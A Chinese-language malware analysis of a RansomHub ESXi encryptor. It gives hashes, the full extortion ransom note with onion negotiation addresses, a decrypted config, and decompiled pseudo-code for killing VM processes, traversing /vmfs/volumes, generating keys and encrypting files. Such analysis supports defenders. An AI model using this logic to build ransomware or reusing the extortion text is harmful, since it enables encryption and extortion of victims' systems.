【病毒分析】Ransomhub加密器样本-EXSI

时间: 2024-12-15 23:19:55 浏览量:8

1.背景

1.1 家族信息

  该组织于2024年2月中旬出现,攻击方式涉及加密勒索和数据泄露,在暗网平台公布了多个受害用户及信息(包括窃取数据量、用户官网地址等)。关于RansomHub新发布的勒索病毒即服务(RaaS)项目的公告,发布于一个俄罗斯来源的论坛,该论坛是网络犯罪分子用来宣传恶意服务的平台,名为RAMP4U(或RAMP)。一名化名为‘koley’的用户在2024年2月2日宣布了该联盟计划。

  在新发布的勒索病毒即服务公告中提到,支付赎金的洗钱操作由联盟成员负责。这意味着所有与受害者的沟通和解密器的发送都通过聊天完成。该RaaS的收益分配为,联盟成员获得90%的赎金,而开发者,即‘koley’这一身份,获得10%。

  此外,根据该公告,勒索病毒的载荷是用Golang语言编写的,使用基于x25519的非对称算法和AES256、ChaCha20、xChaCha20等加密算法,以其加密速度为特色。加密过程还采用了AST进行混淆处理。

  该勒索病毒的载荷支持网络传播,可以在安全模式和本地模式下加密数据。根据Koley的说法,该勒索病毒可在Windows、Linux、ESXi等平台上运行,并支持ARM和MIPS等其他架构。此外,Koley还指出,管理面板使用了.onion域名,允许联盟成员组织和管理目标、聊天房间,查看访问日志,提供离线自动响应,并创建私密博客页面。

1.2 关于我们

  值得注意的是,在它的官网上有一份声明,上面写着: 1.我们的团队成员来自不同的国家,我们对其他任何东西都不感兴趣,我们只对美元感兴趣。2.我们不允许独联体、古巴、朝鲜和中国成为攻击目标。3.对于已经付款的目标公司,不允许再次攻击。4.我们不允许针对非营利性医院和一些非营利性组织。

  在后续的权利保护中提到五点保护措施:1.子公司必须遵守谈判达成的协议和要求,如果他们不联系我们,我们将禁止他们,不再与他们合作;2.如果在您付款后,关联公司拒绝发送解密器,您可以联系我们,我们将免费发送解密器给您;3.如果付款后发生第二次攻击,请让我们知道,我们将立即为您提供解密;4.如果您是我们不允许的攻击目标,请联系我们,我们将禁止该联盟并为您提供解密器;5.如果您在付款后发现会员不遵守我们的上述规定,您可以联系我们投诉,我们将在48小时内给予回复!

2.恶意文件基础信息

2.1 加密器基本信息

文件名:amd64.out
编译器:Go(1.10.x-1.17.x)EXEC AMD64-64
大小:ELF64
操作系统:Unix(0)AMD64, 64位, EXEC
模式:64 位
类型:ELF64
字节序:LE
MD5:fdf0a0e9e20c319bd766a15415c33122
SHA1:39a14c69d0a85b3c9abb06627863d2d60266b4e3
SHA256:86327e6595a375662563d2b76122a3c7cf2fe5baeb2d45702c5bbb2875425bc0

2.3 勒索信

We are the RansomHub.

Your company Servers are locked and Data has been taken to our servers. This is serious. 

Good news:
- your server system and data will be restored by our Decryption Tool, we support trial decryption to prove that your files can be decrypted;
- for now, your data is secured and safely stored on our server;
- nobody in the world is aware about the data leak from your company except you and RansomHub team;
- we provide free trial decryption for files smaller than 1MB. If anyone claims they can decrypt our files, you can ask them to try to decrypt a file larger than 1MB.

FAQs:
Who we are?
- Normal Browser Links: https://ransomxifxwc5eteopdobynonjctkxxvap77yqifu2emfbecgbqdw6qd.onion.ly/
- Tor Browser Links: http://ransomxifxwc5eteopdobynonjctkxxvap77yqifu2emfbecgbqdw6qd.onion/

Want to go to authorities for protection?
- Seeking their help will only make the situation worse,They will try to prevent you from negotiating with us, because the negotiations will make them look incompetent,After the incident report is handed over to the government department, you will be fined <This will be a huge amount,Read more about the GDRP legislation:https://en.wikipedia.org/wiki/General_Data_Protection_Regulation>,The government uses your fine to reward them.And you will not get anything, and except you and your company, the rest of the people will forget what happened!!!!!

Think you can handle it without us by decrypting your servers and data using some IT Solution from third-party "specialists"?
- they will only make significant damage to all of your data; every encrypted file will be corrupted forever. Only our Decryption Tool will make decryption guaranteed;  

Don't go to recovery companies, they are essentially just middlemen who will make money off you and cheat you. 
- We are well aware of cases where recovery companies tell you that the ransom price is 5 million dollars, but in fact they secretly negotiate with us for 1 million dollars, so they earn 4 million dollars from you. If you approached us directly without intermediaries you would pay 5 times less, that is 1 million dollars.

Think your partner IT Recovery Company will do files restoration? 
- no they will not do restoration, only take 3-4 weeks for nothing; besides all of your data is on our servers and we can publish it at any time; 
  as well as send the info about the data breach from your company servers to your key partners and clients, competitors, media and youtubers, etc. 
  Those actions from our side towards your company will have irreversible negative consequences for your business reputation.

You don't care in any case, because you just don't want to pay? 
- We will make you business stop forever by using all of our experience to make your partners, clients, employees and whoever cooperates with your company change their minds by having no choice but to stay away from your company. 
  As a result, in midterm you will have to close your business. 


So lets get straight to the point.

What do we offer in exchange on your payment:
- decryption and restoration of all your systems and data within 24 hours with guarantee;
- never inform anyone about the data breach out from your company;
- after data decryption and system restoration, we will delete all of your data from our servers forever;
- provide valuable advising on your company IT protection so no one can attack your again.

Now, in order to start negotiations, you need to do the following: 
- install and run 'Tor Browser' from https://www.torproject.org/download/
- use 'Tor Browser' open http://ujdqg76bqwmwklleegleveaq4tfiz7dd4eymdb43d7726veguywl5xyd.onion/
- enter your Client ID: 9f37b27b4f8f9cd353ec3632d0e21f0d2ce80fd3a376
* do not leak your ID or you will be banned and will never be able to decrypt your files.

There will be no bad news for your company after successful negotiations for both sides. But there will be plenty of those bad news if case of failed negotiations, so don't think about how to avoid it.
Just focus on negotiations, payment and decryption to make all of your problems solved by our specialists within 1 day after payment received: servers and data restored, everything will work good as new.

************************************************

3.加密后文件分析

3.1威胁分析

病毒家族Ransomhub
首次出现时间/捕获分析时间2024/010/23 || 2024/10/23
威胁类型勒索软件,加密病毒
加密文件扩展名.f910ba
勒索信文件名README_f910ba.txt
有无免费解密器?
联系方式XXXXXX99696AD5399FABF7D40C4D1BE9F05D74CFB311047D7391AC0BF64BED47B56EEE66A528
检测名称Avast (Win32:Malware-gen), AhnLab-V3 (Trojan/Win.Generic.C5576951), ALYac (Gen:Variant.Tedy.512515), Avira (no cloud) (TR/Ransom.imrnt), BitDefenderTheta (Gen:NN.ZexaF.36802.yq0@aSdxC8m), CrowdStrike Falcon (Win/malicious_confidence_100% (W)),Cylance(Unsafe),DeepInstinct(MALICIOUS),Emsisoft(Gen:Variant.Tedy.512515 (B)),ESET-NOD32(A Variant Of MSIL/Filecoder.LU),GData(Gen:Variant.Tedy.512515), Ikarus (Trojan.MSIL.Crypt),K7GW(Trojan ( 0052f4e41 ))
感染症状无法打开存储在计算机上的文件,以前功能的文件现在具有不同的扩展名(例如,solar.docx.f910ba)。桌面上会显示一条勒索要求消息。网络犯罪分子要求支付赎金(通常以比特币)来解锁您的文件。
感染方式受感染的电子邮件附件(宏)、恶意广告、漏洞利用、恶意链接
受灾影响所有文件都经过加密,如果不支付赎金就无法打开。其他密码窃取木马和恶意软件感染可以与勒索软件感染一起安装。

3.2 加密的测试文件

3.2.1 文件名

  sierting.txt

3.2.2 具体内容

3.2.3 加密文件名特征

  加密文件名 = 原始文件名+f910ba ,例如:sierting.txt.f910ba

3.2.4 加密文件数据特征

3.2.5 加密算法

  文件加密使用了AES-CTR加密算法,对加密文件的AES密钥,采用了RSA加密和AES加密双重加密。

AES密钥生成

KEY

  随机生成key

RSA密钥生成

公钥
0xF9, 0x10, 0xBA, 0x1E, 0xB0, 0x31, 0xED, 0x2D, 0x3E, 0x27,
0x73, 0xD3, 0xC7, 0x69, 0xAD, 0xA8, 0x43, 0xB7, 0x21, 0xA5,
0x40, 0x7F, 0x8B, 0x56, 0xAE, 0xAF, 0x12, 0xCA, 0x51, 0x23,
0xC2, 0x25

  使用了勒索病毒程序自带的配置信息中的RSA公钥部分,即配置文件中publickey的值。

3.2.6 释放文件

勒索信(Recover files!!!.txt)

文件内容
We are the RansomHub.

Your company Servers are locked and Data has been taken to our servers. This is serious. 

Good news:
- your server system and data will be restored by our Decryption Tool, we support trial decryption to prove that your files can be decrypted;
- for now, your data is secured and safely stored on our server;
- nobody in the world is aware about the data leak from your company except you and RansomHub team;
- we provide free trial decryption for files smaller than 1MB. If anyone claims they can decrypt our files, you can ask them to try to decrypt a file larger than 1MB.

FAQs:
Who we are?
- Normal Browser Links: https://ransomxifxwc5eteopdobynonjctkxxvap77yqifu2emfbecgbqdw6qd.onion.ly/
- Tor Browser Links: http://ransomxifxwc5eteopdobynonjctkxxvap77yqifu2emfbecgbqdw6qd.onion/

Want to go to authorities for protection?
- Seeking their help will only make the situation worse,They will try to prevent you from negotiating with us, because the negotiations will make them look incompetent,After the incident report is handed over to the government department, you will be fined <This will be a huge amount,Read more about the GDRP legislation:https://en.wikipedia.org/wiki/General_Data_Protection_Regulation>,The government uses your fine to reward them.And you will not get anything, and except you and your company, the rest of the people will forget what happened!!!!!

Think you can handle it without us by decrypting your servers and data using some IT Solution from third-party "specialists"?
- they will only make significant damage to all of your data; every encrypted file will be corrupted forever. Only our Decryption Tool will make decryption guaranteed;  

Don't go to recovery companies, they are essentially just middlemen who will make money off you and cheat you. 
- We are well aware of cases where recovery companies tell you that the ransom price is 5 million dollars, but in fact they secretly negotiate with us for 1 million dollars, so they earn 4 million dollars from you. If you approached us directly without intermediaries you would pay 5 times less, that is 1 million dollars.

Think your partner IT Recovery Company will do files restoration? 
- no they will not do restoration, only take 3-4 weeks for nothing; besides all of your data is on our servers and we can publish it at any time; 
  as well as send the info about the data breach from your company servers to your key partners and clients, competitors, media and youtubers, etc. 
  Those actions from our side towards your company will have irreversible negative consequences for your business reputation.

You don't care in any case, because you just don't want to pay? 
- We will make you business stop forever by using all of our experience to make your partners, clients, employees and whoever cooperates with your company change their minds by having no choice but to stay away from your company. 
  As a result, in midterm you will have to close your business. 


So lets get straight to the point.

What do we offer in exchange on your payment:
- decryption and restoration of all your systems and data within 24 hours with guarantee;
- never inform anyone about the data breach out from your company;
- after data decryption and system restoration, we will delete all of your data from our servers forever;
- provide valuable advising on your company IT protection so no one can attack your again.

Now, in order to start negotiations, you need to do the following: 
- install and run 'Tor Browser' from https://www.torproject.org/download/
- use 'Tor Browser' open http://ujdqg76bqwmwklleegleveaq4tfiz7dd4eymdb43d7726veguywl5xyd.onion/
- enter your Client ID: 9f37b27b4f8f9cd353ec3632d0e21f0d2ce80fd3a376
* do not leak your ID or you will be banned and will never be able to decrypt your files.

There will be no bad news for your company after successful negotiations for both sides. But there will be plenty of those bad news if case of failed negotiations, so don't think about how to avoid it.
Just focus on negotiations, payment and decryption to make all of your problems solved by our specialists within 1 day after payment received: servers and data restored, everything will work good as new.

************************************************

3.2.7 程序执行流程

4逆向分析

4.1加密器逆向分析

4.1.1 检测参数

  判断参数是否为空

if ( a1 <= 1 )
  {
    v22 = 0LL;
    v24 = 0LL;
    nptr = 0LL;
    v3 = 0;
LABEL_34:
    v13 = (char *)malloc(0xEuLL);
    v21 = v13;
    if ( v13 )
    {
      strcpy(v13, "/vmfs/volumes");
      v21 = v13;
    }
    goto LABEL_36;
  }

  如果为空就跳转到36的位置,结束程序并且输出"bad config."

LABEL_36:
  if ( !(unsigned int)jiaoyan_config(v22, (__int64)&config) )
  {
    puts("bad config.");
    return 0LL;
  }

  根据参数赋值

 if ( !strcmp(v4[1], "-path") )
    {
      if ( a1 <= v5 || !v4[2] )
      {
        fwrite("missing value for -path\n", 1uLL, 0x18uLL, MEMORY[0x7F21E6F8B840]);
        return 1LL;
      }
      __strdup();
      v21 = v7;
    }
    if ( !strcmp(v4[1], "-pass") )
    {
      if ( a1 <= v5 || !v4[2] )
      {
        fwrite("missing value for -pass\n", 1uLL, 0x18uLL, MEMORY[0x7F21E6F8B840]);
        return 1LL;
      }
      __strdup();
      v22 = v9;
    }
    if ( !strcmp(v4[1], "-sleep") )
    {
      if ( a1 <= v5 || !v4[2] )
      {
        fwrite("missing value for -sleep\n", 1uLL, 0x19uLL, MEMORY[0x7F21E6F8B840]);
        return 1LL;
      }
      __strdup();
      nptr = v10;
    }
    if ( !strcmp(v4[1], "-skip_vms") )
    {
      if ( a1 <= v5 || !v4[2] )
      {
        fwrite("missing value for -skip_vms\n", 1uLL, 0x1CuLL, MEMORY[0x7F21E6F8B840]);
        return 1LL;
      }
      __strdup();
      v24 = v11;
    }

  如果参数是-h就输出帮助

 if ( *v12 == asc_419452[0] && v12[1] == asc_419452[1] && v12[2] == asc_419452[2] )
    {
      printf("USAGE: %s [OPTIONS]\n", *a2);
      puts("OPTIONS:");
      puts("  -pass string");
      puts("    \tpass");
      puts("  -path string");
      puts("    \tonly process files inside defined path(default is /vmfs/volumes). -path /vmfs/other");
      puts("  -sleep int");
      puts("    \tsleep for a period of time to run (minute)");
      puts("  -skip_vms string");
      puts("    \tdo not stop and encryption VMs file,one line one item. -skip_vms skip.txt");
      puts("  -fast");
      puts("    \tfast encryption mode");
      puts("  -verbose");
      puts("    \toutput the encryption log");
      return 0LL;
    }

4.1.2 自解密生成配置信息

  自解密

 if ( chacha_jiemi((unsigned int)&v23, (unsigned int)v31, (unsigned int)&v23, 0, 0, (_DWORD)dest, n) == -1 )
    return 0LL;
  *((_BYTE *)&v23 + v28) = 0;
  v9 = sub_4060C6(&v23);
  v10 = v9;
  if ( !v9 )
    return 0LL;
  v11 = sub_403FA8(v9, "master_public_key");
  if ( !v11 )
    return 0LL;
  v12 = sub_403FA8(v10, "extension");
  if ( !v12 )
    return 0LL;
  v13 = sub_403FA8(v10, "note_file_name");
  if ( !v13 )
    return 0LL;
  n = sub_403FA8(v10, "note_full_text");
  if ( !n )
    return 0LL;
  v25 = sub_403FA8(v10, "note_short_text");
  if ( !v25 )
    return 0LL;
  dest = (void *)sub_403FA8(v10, "encryption_files");
  if ( !dest )
    return 0LL;
  v14 = sub_403FA8(v10, "settings");

  生成配置信息

{"master_public_key": "f910ba1eb031ed2d3e2773d3c769ada843b721a5407f8b56aeaf12ca5123c225", "extension": ".f910ba", "note_file_name": "README_f910ba.txt", "note_full_text": "We are the RansomHub.\n\nYour company Servers are locked and Data has been taken to our servers. This is serious. \n\nGood news:\n- your server system and data will be restored by our Decryption Tool, we support trial decryption to prove that your files can be decrypted;\n- for now, your data is secured and safely stored on our server;\n- nobody in the world is aware about the data leak from your company except you and RansomHub team;\n- we provide free trial decryption for files smaller than 1MB. If anyone claims they can decrypt our files, you can ask them to try to decrypt a file larger than 1MB.\n\nFAQs:\nWho we are?\n- Normal Browser Links: https://ransomxifxwc5eteopdobynonjctkxxvap77yqifu2emfbecgbqdw6qd.onion.ly/\n- Tor Browser Links: http://ransomxifxwc5eteopdobynonjctkxxvap77yqifu2emfbecgbqdw6qd.onion/\n\nWant to go to authorities for protection?\n- Seeking their help will only make the situation worse,They will try to prevent you from negotiating with us, because the negotiations will make them look incompetent,After the incident report is handed over to the government department, you will be fined <This will be a huge amount,Read more about the GDRP legislation:https://en.wikipedia.org/wiki/General_Data_Protection_Regulation>,The government uses your fine to reward them.And you will not get anything, and except you and your company, the rest of the people will forget what happened!!!!!\n\nThink you can handle it without us by decrypting your servers and data using some IT Solution from third-party \"specialists\"?\n- they will only make significant damage to all of your data; every encrypted file will be corrupted forever. Only our Decryption Tool will make decryption guaranteed;  \n\nDon't go to recovery companies, they are essentially just middlemen who will make money off you and cheat you. \n- We are well aware of cases where recovery companies tell you that the ransom price is 5 million dollars, but in fact they secretly negotiate with us for 1 million dollars, so they earn 4 million dollars from you. If you approached us directly without intermediaries you would pay 5 times less, that is 1 million dollars.\n\nThink your partner IT Recovery Company will do files restoration? \n- no they will not do restoration, only take 3-4 weeks for nothing; besides all of your data is on our servers and we can publish it at any time; \n  as well as send the info about the data breach from your company servers to your key partners and clients, competitors, media and youtubers, etc. \n  Those actions from our side towards your company will have irreversible negative consequences for your business reputation.\n\nYou don't care in any case, because you just don't want to pay? \n- We will make you business stop forever by using all of our experience to make your partners, clients, employees and whoever cooperates with your company change their minds by having no choice but to stay away from your company. \n  As a result, in midterm you will have to close your business. \n\n\nSo lets get straight to the point.\n\nWhat do we offer in exchange on your payment:\n- decryption and restoration of all your systems and data within 24 hours with guarantee;\n- never inform anyone about the data breach out from your company;\n- after data decryption and system restoration, we will delete all of your data from our servers forever;\n- provide valuable advising on your company IT protection so no one can attack your again.\n\nNow, in order to start negotiations, you need to do the following: \n- install and run 'Tor Browser' from https://www.torproject.org/download/\n- use 'Tor Browser' open http://ujdqg76bqwmwklleegleveaq4tfiz7dd4eymdb43d7726veguywl5xyd.onion/\n- enter your Client ID: %s\n* do not leak your ID or you will be banned and will never be able to decrypt your files.\n\nThere will be no bad news for your company after successful negotiations for both sides. But there will be plenty of those bad news if case of failed negotiations, so don't think about how to avoid it.\nJust focus on negotiations, payment and decryption to make all of your problems solved by our specialists within 1 day after payment received: servers and data restored, everything will work good as new.\n\n************************************************\n", "note_short_text": "Your data is stolen and encrypted, see README_f910ba.txt.", "settings": {"remove_vms_snapshot": false, "shutdown_vms": true, "self_delete": true}, "encryption_files": ["*.vmdk", "*.vmx", "*.vmsn", "*.vswp", "*.vmxf", "*.vhd", "*.vhdx", "*.iso", "*.vmx.lck", "*.nvram", "*.img"]}

4.1.2 结束指定线程

  拼接生成文件名/tmp/.f910ba.pid

  snprintf(pid_file, 0x1000uLL, "/tmp/%s.pid", *((const char **)&config + 1));
  printf("pid_file: %s\n", pid_file);

  尝试打开

  pid = -1;
  v14 = fopen(pid_file, "r");

  读取文件中的pid并结束进程

 v15 = v14;
  if ( v14 )
  {
    fscanf(v14, "%d", &pid);
    if ( pid > 0 && !kill(pid, 0) )
    {
      puts("already running...");
      fclose(v15);
      while ( !kill(pid, 0) )
        sleep(1u);
      puts("done");
      return 0LL;
    }
    fclose(v15);
  }
 

  如果是没有启用-verbose 则创建子进程并执行dev/null,最后结束程序

int __fastcall sub_4184D4(char *filename)
{
  __pid_t v1; // eax
  FILE *v2; // rax
  FILE *v3; // rbx
  int stat_loc[3]; // [rsp+Ch] [rbp-Ch] BYREF

  v1 = fork();
  pid[0] = v1;
  if ( v1 < 0 )
    exit(1);
  if ( v1 > 0 )
  {
    puts("running...");
    signal(2, (__sighandler_t)handle_parent_signal);
    v2 = fopen(filename, &src[2]);
    v3 = v2;
    if ( v2 )
    {
      fprintf(v2, "%d\n", (unsigned int)pid[0]);
      fclose(v3);
    }
    waitpid(pid[0], stat_loc, 0);
    puts("done");
    exit(0);
  }
  if ( setsid() < 0 )
    exit(1);
  close(0);
  close(1);
  close(2);
  open("/dev/null", 2);
  dup(0);
  return dup(0);
}

  如果使用了这个参数,就注册了一些信号

 signal(1, (__sighandler_t)handle_signal);
  signal(2, (__sighandler_t)handle_signal);
  signal(9, (__sighandler_t)handle_signal);
  signal(15, (__sighandler_t)handle_signal);
  signal(19, (__sighandler_t)handle_signal);

  在接收到信号之后就睡眠一小段时间

_DWORD *handle_signal()
{
  _DWORD *result; // rax

  running = 0;
  for ( result = finish; finish[0] != 1; result = finish )
    sleep(1u);
  return result;
}

4.1.3 公钥初始化

  生成公钥

__int64 __fastcall sub_417096(const char *a1, __int64 a2, unsigned __int64 a3)
{
  __int64 result; // rax
  unsigned __int64 v4; // rcx
  unsigned __int64 v5; // r13
  unsigned __int64 v6; // rbx
  char v7; // r12

  result = 0LL;
  v4 = strlen(a1) + 1;
  v5 = v4 - 1;
  if ( (((_BYTE)v4 - 1) & 1) == 0 )
  {
    result = v5 >> 1;
    if ( v5 >> 1 <= a3 && v4 != 1 )
    {
      v6 = 0LL;
      do
      {
        v7 = sub_41704C((unsigned int)a1[v6]);
        result = sub_41704C((unsigned int)a1[v6 + 1]);
        *(_BYTE *)(a2 + (v6 >> 1)) = result | (16 * v7);
        v6 += 2LL;
      }
      while ( v5 > v6 );
    }
  }
  return result;
}

4.1.4 获取虚拟机信息

  获取虚拟机列表信息并输出,如果存在就从json里面解析出数据

void __fastcall sub_417D6B(__int64 a1)
{
  FILE *v1; // r14
  _BYTE *v2; // rbp
  int v3; // ebx
  unsigned __int64 v4; // kr08_8
  __int64 v5; // rax
  _QWORD *v6; // rbx
  __int64 v7; // r12
  __int64 v8; // r13
  __int64 v9; // r14
  char src[312]; // [rsp+10h] [rbp-138h] BYREF

  v1 = popen("localcli --formatter json vm process list 2>/dev/null", "r");
  if ( v1 )
  {
    memset(src, 0, 0x100uLL);
    v2 = malloc(0x100uLL);
    *v2 = 0;
    v3 = 0;
    while ( fgets(src, 256, v1) )
    {
      v4 = strlen(src) + 1;
      v3 += v4 - 1;
      v2 = realloc(v2, v3 + 1);
      strncat(v2, src, (int)v4 - 1);
    }
    pclose(v1);
    if ( *v2 )
    {
      if ( strstr(v2, "Display Name") )
      {
        v5 = sub_4060C6((__int64)v2);
        if ( v5 )
        {
          v6 = *(_QWORD **)(v5 + 16);
          while ( v6 )
          {
            v7 = jiexi((__int64)v6, (__int64)"Display Name");
            v8 = jiexi((__int64)v6, (__int64)"World ID");
            v9 = jiexi((__int64)v6, (__int64)"VMX Cartel ID");
            v6 = (_QWORD *)*v6;
            if ( v7
              && v8
              && jiaoyan(v7)
              && (unsigned int)sub_403B82(v8)
              && (unsigned int)sub_417F54(*(_QWORD *)(v7 + 32), a1) != 1 )
            {
              printf("vm process kill %s world id: %d \n", *(const char **)(v7 + 32), *(unsigned int *)(v8 + 40));
              sub_417CD9(*(unsigned int *)(v8 + 40));
              if ( v9 )
              {
                if ( (unsigned int)sub_403B82(v9) )
                  sub_417C47(*(unsigned int *)(v9 + 40));
              }
              sleep(1u);
            }
          }
        }
      }
    }
    free(v2);
  }
}

4.1.5 加密线程创建

  创建多个线程

char *__fastcall sub_4175D2(int a1)
{
  char *v1; // rax
  char *v2; // rbp
  void *v3; // rax
  int v4; // r14d
  void *v5; // rax
  __int64 v6; // r13
  int i; // r12d
  void **v8; // rbx
  void *v9; // rax

  dword_627664 = 0;
  dword_627660 = 1;
  v1 = (char *)malloc(0xB0uLL);
  v2 = v1;
  if ( v1 )
  {
    *((_DWORD *)v1 + 2) = 0;
    *((_DWORD *)v1 + 3) = 0;
    *((_DWORD *)v1 + 42) = 0;
    *((_QWORD *)v1 + 18) = 0LL;
    *((_QWORD *)v1 + 19) = 0LL;
    v3 = malloc(0x60uLL);
    *((_QWORD *)v2 + 20) = v3;
    if ( v3 )
    {
      v4 = 0;
      if ( a1 >= 0 )
        v4 = a1;
      pthread_mutex_init((pthread_mutex_t *)(v2 + 104), 0LL);
      sub_4172FE(*((_QWORD *)v2 + 20), 0LL);
      v5 = malloc(8LL * v4);
      *(_QWORD *)v2 = v5;
      if ( v5 )
      {
        pthread_mutex_init((pthread_mutex_t *)(v2 + 16), 0LL);
        pthread_cond_init((pthread_cond_t *)(v2 + 56), 0LL);
        if ( v4 > 0 )
        {
          v6 = 0LL;
          for ( i = 0; i < v4; ++i )
          {
            v8 = (void **)(*(_QWORD *)v2 + v6);
            v9 = malloc(0x18uLL);
            *v8 = v9;
            if ( v9 )
            {
              *((_QWORD *)v9 + 2) = v2;
              *(_DWORD *)*v8 = i;
              pthread_create((pthread_t *)*v8 + 1, 0LL, start_routine, *v8);
              pthread_detach(*((_QWORD *)*v8 + 1));
            }
            else
            {
              fwrite("thread_init(): Could not allocate memory for thread\n", 1uLL, 0x34uLL, MEMORY[0x7F21E6F8B840]);
            }
            v6 += 8LL;
          }
        }
        while ( *((_DWORD *)v2 + 2) != v4 )
          ;
      }
      else
      {
        fwrite("thpool_init(): Could not allocate memory for threads\n", 1uLL, 0x35uLL, MEMORY[0x7F21E6F8B840]);
        sub_41736A((pthread_mutex_t *)(v2 + 104));
        free(v2);
        return 0LL;
      }
    }
    else
    {
      fwrite("thpool_init(): Could not allocate memory for job queue\n", 1uLL, 0x37uLL, MEMORY[0x7F21E6F8B840]);
      free(v2);
      return 0LL;
    }
  }
  else
  {
    fwrite("thpool_init(): Could not allocate memory for thread pool\n", 1uLL, 0x39uLL, MEMORY[0x7F21E6F8B840]);
  }
  return v2;
}

4.1.6 勒索信创建

  尝试打开勒索信/vmfs/volumes/README_f910ba.txt

   strcpy(v2, a1);
    strcat(v3, "/");
    strcat(v3, *((const char **)&config + 2));
    v9 = fopen(v3, "w")

  如果成功打开,就将配置里面的内容写入勒索信

   {
      fwrite(*((const void **)&config + 3), 1uLL, strlen(*((const char **)&config + 3)), v9);
      fclose(v9);
    }

4.1.7 遍历路径

  尝试打开目录/vmfs/volumes/,如果存在这个目录,就继续往下执行

  v14 = opendir(v3);
    if ( v14 )
    {
      while ( 1 )
      {
        v29 = readdir(v14);

  如果文件类型是目录,就递归进入这个函数

          if ( d_type == 4 )
          {
            v18 = v3;
            v19 = 4097;
            if ( ((unsigned __int8)v3 & 1) != 0 )
            {
              *v3 = 0;
              v18 = v3 + 1;
              v19 = 4096;
            }
            if ( ((unsigned __int8)v18 & 2) != 0 )
            {
              *v18++ = 0;
              v19 -= 2;
            }
            if ( ((unsigned __int8)v18 & 4) != 0 )
            {
              *(_DWORD *)v18 = 0;
              v18 += 2;
              v19 -= 4;
            }
            v20 = v19 >> 3;
            memset(v18, 0, 8 * v20);
            v21 = &v18[4 * v20];
            if ( (v19 & 4) != 0 )
              *v21++ = 0;
            if ( (v19 & 2) != 0 )
            {
              *(_WORD *)v21 = 0;
              v21 = (_DWORD *)((char *)v21 + 2);
            }
            if ( (v19 & 1) != 0 )
              *(_BYTE *)v21 = 0;
            strcpy(v3, v8);
            strcat(v3, "/");
            strcat(v3, d_name);
            sub_40217C(v3);
          }

  如果文件类型是普通文件就执行判断

else if ( d_type == 8 )
          {
            v30 = (__int64)v29->d_name;
            if ( !(unsigned int)sub_417FA2(v29->d_name, *((_QWORD *)&config + 1)) )
            {
              if ( (unsigned int)sub_417F54(v30, *((__int64 **)&config + 5)) )
              {
                v22 = v3;
                v23 = 4097;
                if ( ((unsigned __int8)v3 & 1) != 0 )
                {
                  *v3 = 0;
                  v22 = v3 + 1;
                  v23 = 4096;
                }
                if ( ((unsigned __int8)v22 & 2) != 0 )
                {
                  *v22++ = 0;
                  v23 -= 2;
                }
                if ( ((unsigned __int8)v22 & 4) != 0 )
                {
                  *(_DWORD *)v22 = 0;
                  v22 += 2;
                  v23 -= 4;
                }
                v24 = v23 >> 3;
                memset(v22, 0, 8 * v24);
                v25 = &v22[4 * v24];
                if ( (v23 & 4) != 0 )
                  *v25++ = 0;
                if ( (v23 & 2) != 0 )
                {
                  *(_WORD *)v25 = 0;
                  v25 = (_DWORD *)((char *)v25 + 2);
                }
                if ( (v23 & 1) != 0 )
                  *(_BYTE *)v25 = 0;
                strcpy(v3, v8);
                strcat(v3, "/");
                strcat(v3, d_name);
                v26 = exclude_vms;
                if ( exclude_vms && (v27 = (const char *)*exclude_vms) != 0LL )
                {
                  v31 = 0;
                  while ( !strstr(v3, v27) )
                  {
                    v27 = (const char *)v26[++v31];
                    if ( !v27 )
                      goto LABEL_71;
                  }
                  printf("skip %s\n", v3);
                }

  判断后缀是否为.f910ba

_BOOL8 __fastcall sub_417FA2(const char *a1, const char *a2)
{
  unsigned __int64 v2; // kr08_8
  unsigned __int64 v3; // kr10_8

  if ( a1 && a2 && (v2 = strlen(a1) + 1, v3 = strlen(a2) + 1, v2 - 1 >= v3 - 1) )
    return strcmp(&a1[v2 - v3], a2) == 0;
  else
    return 0LL;
}

  如果不是 判断文件是否为以下几个后缀,如果是,就继续执行加密

 ["*.vmdk", "*.vmx", "*.vmsn", "*.vswp", "*.vmxf", "*.vhd", "*.vhdx", "*.iso", "*.vmx.lck", "*.nvram", "*.img"]

  创建加密任务

                 v28 = malloc(strlen(v3) + 1);
                  memset(v28, 0, strlen(v3) + 1);
                  strcpy((char *)v28, v3);
                  printf("found %s\n", (const char *)v28);
                  sub_4174F9(thread_pool, encrypt_file_task, v28);

  尝试获取文件状态,如果获取不到,就显示加密失败,然后退出当前加密任务

  if ( __xstat64(1, filename, &stat_buf) )
  {
    v4 = __errno_location();
    v5 = strerror(*v4);
    printf("failed to encrypt file %s, unable to get file stat %s\n", filename, v5);
    return 0LL;
  }

4.1.8 密钥生成

  随机生成密钥

int __fastcall sub_418732(void *ptr, int a2)
{
  FILE *v2; // rax
  FILE *v3; // rbx

  v2 = fopen("/dev/urandom", "r");
  v3 = v2;
  if ( v2 )
  {
    fread(ptr, 1uLL, a2, v2);
    LODWORD(v2) = fclose(v3);
  }
  return (int)v2;
}

  通过rsa加密密钥

  ase密钥初始化

  如果选择快速加密,则初始化chacha20密钥

4.1.9 加密文件

  根据文件大小返回对应的值

__int64 __fastcall sub_418678(unsigned __int64 a1)
{
  __int64 result; // rax

  result = 0LL;
  if ( a1 > 0x200000 )
  {
    result = 0x100000LL;
    if ( a1 > 0x800000 )
    {
      result = 0x200000LL;
      if ( a1 > 0x2000000 )
      {
        result = 3145728LL;
        if ( a1 > 0x8000000 )
        {
          result = (__int64)&dword_400000;
          if ( a1 > 0x20000000 )
          {
            result = 5242880LL;
            if ( a1 > 0x80000000 )
            {
              result = 6291456LL;
              if ( a1 > 0x200000000LL )
              {
                result = 7340032LL;
                if ( a1 > 0x800000000LL )
                {
                  result = 0x800000LL;
                  if ( a1 > 0x2000000000LL )
                    return a1 > 0x8000000000LL ? 10485760LL : 9437184LL;
                }
              }
            }
          }
        }
      }
    }
  }
  return result;
}

  将加密后的密钥,rsa公钥,以及刚刚得到的值写入文件末尾

        v14 = sub_418678(st_size);
          if ( a3 == 1 )
            v14 *= 4LL;
          memset(ptr, 0, 0x78uLL);
          *(_QWORD *)ptr = v29;
          *(_QWORD *)&ptr[8] = v30;
          *(_QWORD *)&ptr[16] = v31;
          *(_QWORD *)&ptr[24] = v32;
          *(_WORD *)&ptr[32] = v19;
          *(_QWORD *)&ptr[34] = v35;
          *(_QWORD *)&ptr[42] = v36;
          *(_QWORD *)&ptr[50] = v37;
          v33 = v35;
          v34 = v36;
          v35 = 0LL;
          v36 = 0LL;
          v37 = 0LL;
          *(_QWORD *)&ptr[66] = v14;
          *(_QWORD *)&ptr[90] = *master_public_key;
          *(_QWORD *)&ptr[98] = master_public_key[1];
